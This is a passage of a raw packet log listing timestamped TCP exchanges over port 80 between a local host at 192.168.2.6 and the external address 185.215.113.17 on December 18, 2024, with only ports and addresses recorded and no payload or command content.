Dec 18, 2024 12:00:30.153844118 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.153887987 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.154015064 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.154071093 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.154604912 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.154618025 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.154653072 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.154665947 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.155299902 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.155348063 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.155467987 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.155510902 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.156107903 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.156119108 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.156155109 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.156728983 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.156802893 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.156887054 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.156963110 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.157594919 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.157644987 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.157912016 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.157953978 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.158399105 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.158411980 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.158452034 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.158879995 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.158930063 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.158945084 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.158978939 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.160734892 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.160747051 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.160777092 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.160799026 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.161369085 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.161406994 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.161535978 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.161576033 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.162077904 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.162139893 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.162255049 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.162266970 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.162277937 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.162303925 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.162322998 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.162633896 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.162672043 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.162825108 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.162863970 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.163541079 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.163552999 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.163587093 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.163614035 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.164729118 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.164741993 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.164789915 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.164829969 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.165232897 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.165245056 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.165276051 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.165286064 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.165345907 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.165383101 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.165406942 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.165442944 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.166071892 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.166129112 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.166182041 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.166224957 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.166830063 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.166843891 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.166886091 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.167555094 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.167602062 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.167615891 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.167663097 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.168278933 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.168401957 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.168426037 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.168462038 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.169030905 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.169078112 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.169106960 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.169147015 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.169816017 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.169862032 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.169888020 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.169979095 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.170550108 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.170658112 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.170698881 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.171273947 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.171359062 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.171384096 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.171425104 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.172049999 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.172092915 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.172105074 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.172144890 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.172842979 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.172879934 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.324595928 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.324655056 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.324682951 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.324727058 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.324934959 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.324953079 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.324969053 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.324999094 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.325500965 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.325536013 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.325582981 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.325617075 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.326265097 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.326299906 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.326387882 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.326421022 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.327004910 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.327042103 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.327130079 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.327163935 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.327807903 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.327851057 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.327980995 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.328016043 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.328619957 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.328685045 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.328705072 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.328739882 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.329401016 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.329444885 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.329507113 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.329549074 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.330147982 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.330190897 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.330230951 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.330328941 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.330338001 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.330882072 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.330926895 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.331054926 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.331089020 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.331778049 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.331840038 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.331881046 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.332623005 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.332716942 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.332761049 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.333323956 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.333362103 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.333396912 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.333427906 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.334008932 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.334084988 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.334187031 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.334232092 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.334853888 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.334896088 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.334918022 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.334953070 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.335473061 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.335511923 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.335515022 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.335571051 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.336042881 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.336095095 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.336155891 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.336190939 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.336843014 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.336921930 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.336966038 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.337600946 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.337644100 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.337745905 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.337789059 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.338351965 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.338396072 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.338450909 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.338612080 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.339107990 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.339128017 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.339173079 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.339831114 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.339850903 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.339879990 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.339901924 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.340703964 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.340763092 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.340815067 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.340857983 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.341475010 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.341522932 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.341551065 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.341588974 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.342187881 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.342235088 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.342262030 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.342300892 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.342839003 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.342885971 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.343022108 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.343066931 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.343619108 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.343661070 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.343775034 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.343817949 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.344594002 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.344619989 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.344645977 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.344676018 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.345257044 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.345314980 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.345347881 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.345403910 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.345889091 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.345938921 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.345995903 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.346189022 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.346642017 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.346689939 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.346724987 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.346765041 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.347403049 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.347511053 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.347570896 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.348151922 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.348200083 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.348337889 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.348393917 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.348918915 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.348973036 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.349090099 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.349133968 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.349936962 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.349983931 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.350056887 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.350136042 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.350676060 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.350723028 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.350857019 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.350899935 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.352325916 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.352374077 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.352617025 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.352658987 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.353621960 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.353666067 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.353960037 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.354007006 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.355034113 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.355072975 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.355232954 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.355271101 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.355818987 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.355885983 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.355900049 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.355946064 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.356580973 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.356677055 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.356683016 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.357007027 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.357274055 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.357345104 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.357434034 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.357852936 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.357896090 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.357947111 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.358112097 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.358582973 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.358637094 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.358664036 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.358691931 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.359469891 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.359543085 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.359566927 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.359756947 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.360299110 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.360388994 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.360394001 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.360423088 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.361148119 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.361226082 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.361289978 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.361435890 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.361850977 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.361959934 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.361984015 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.361994982 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.362510920 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.362551928 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.362571955 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.362611055 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.363327026 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.363395929 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.363430977 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.363610029 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.364092112 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.364166021 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.364206076 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.364842892 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.364917040 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.364973068 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.365168095 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.365478039 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.365565062 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.365607023 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.366081953 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.366157055 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.515784979 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.515889883 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.516009092 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.516192913 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.516258955 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.516263962 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.516299963 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.517034054 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.517101049 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.517121077 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.517163038 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.517673016 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.517740965 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.517873049 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.518429041 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.518538952 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.518549919 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.518577099 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.519208908 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.519284964 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.519337893 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.519932032 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.520051003 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.520095110 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.520705938 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.520766020 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.520817995 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.520855904 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.521451950 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.521493912 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.521574020 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.521615982 CET	49913	80	192.168.2.6	185.215.113.17
